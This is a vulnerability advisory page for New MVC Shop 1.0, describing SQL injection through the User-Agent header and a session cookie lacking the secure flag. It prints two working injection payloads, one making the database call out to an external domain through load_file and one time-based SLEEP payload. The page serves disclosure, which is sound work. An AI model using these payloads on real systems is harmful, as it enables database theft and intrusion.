Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- New MVC Shop 1.0 SQL Injection / Missing Attributes[6]
- Authored by nu11secur1ty[7]
-
New MVC Shop version 1.0 suffers from remote SQL injection and missing attribute vulnerabilities.
- SHA-256 |
c1b40aec9eb372ff9cd5a4cff29271a8df8d3fedfc4274f9e046058eaa80e539
- Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
## Title: new-mvc-shop-1.0 - SQLi + SameSite attribute weak security
PHPSESSID Hijacking
## Author: nu11secur1ty
## Date: 05.29.2023
## Vendor: https://chikoiquan.tanhongit.com/
## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `User-Agent` HTTP header appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\ttq1xmuilflmnv0pcl7cjdwb42avymmdp1koacz.pedal.com\\iqp'))+'
was submitted in the User-Agent HTTP header. This payload injects a
SQL sub-query that calls MySQL's load_file function with a UNC file
path that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker can retrieve all information from the
database of this system.
---------------------------------------------------------------------------------------------------------------
The following cookie was issued by the application and does not have
the secure flag set:
PHPSESSID: The cookie appears to contain a session token, which may
increase the risk associated with this issue.
The malicious user can use one PHPSESSID to connect multiple times on
the system using the same account session.
STATUS: HIGH Vulnerability
[+]Payload:
```mysql
---
Parameter: User-Agent (User-Agent)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8)
Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)' AND (SELECT
2825 FROM (SELECT(SLEEP(15)))VKYP)-- kuoe
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/new-mvc-shop-1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/new-mvc-shop-10-sqli-samesite-attribute.html)
## Time spend:
00:35:00
File Tags
- ActiveX[18] (932)
- Advisory[19] (81,214)
- Arbitrary[20] (16,025)
- BBS[21] (2,859)
- Bypass[22] (1,690)
- CGI[23] (1,024)
- Code Execution[24] (7,129)
- Conference[25] (678)
- Cracker[26] (841)
- CSRF[27] (3,315)
- DoS[28] (23,139)
- Encryption[29] (2,360)
- Exploit[30] (51,102)
- File Inclusion[31] (4,193)
- File Upload[32] (952)
- Firewall[33] (821)
- Info Disclosure[34] (2,713)
- Intrusion Detection[35] (883)
- Java[36] (2,998)
- JavaScript[37] (838)
- Kernel[38] (6,551)
- Local[39] (14,377)
- Magazine[40] (586)
- Overflow[41] (12,597)
- Perl[42] (1,421)
- PHP[43] (5,123)
- Proof of Concept[44] (2,302)
- Protocol[45] (3,560)
- Python[46] (1,499)
- Remote[47] (30,483)
- Root[48] (3,552)
- Rootkit[49] (505)
- Ruby[50] (608)
- Scanner[51] (1,633)
- Security Tool[52] (7,847)
- Shell[53] (3,159)
- Shellcode[54] (1,211)
- Sniffer[55] (893)
- Spoof[56] (2,189)
- SQL Injection[57] (16,224)
- TCP[58] (2,394)
- Trojan[59] (687)
- UDP[60] (883)
- Virus[61] (664)
- Vulnerability[62] (31,555)
- Web[63] (9,551)
- Whitepaper[64] (3,743)
- x86[65] (958)
- XSS[66] (17,673)
- Other[67]
File Archives
- May 2023[68]
- April 2023[69]
- March 2023[70]
- February 2023[71]
- January 2023[72]
- December 2022[73]
- November 2022[74]
- October 2022[75]
- September 2022[76]
- August 2022[77]
- July 2022[78]
- June 2022[79]
- Older[80]
Systems
- AIX[81] (428)
- Apple[82] (1,970)
- BSD[83] (373)
- CentOS[84] (57)
- Cisco[85] (1,920)
- Debian[86] (6,751)
- Fedora[87] (1,691)
- FreeBSD[88] (1,244)
- Gentoo[89] (4,312)
- HPUX[90] (879)
- iOS[91] (342)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (67)
- Linux[95] (45,740)
- Mac OS X[96] (685)
- Mandriva[97] (3,105)
- NetBSD[98] (256)
- OpenBSD[99] (482)
- RedHat[100] (13,304)
- Slackware[101] (941)
- Solaris[102] (1,610)
- SUSE[103] (1,444)
- Ubuntu[104] (8,608)
- UNIX[105] (9,232)
- UnixWare[106] (186)
- Windows[107] (6,555)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]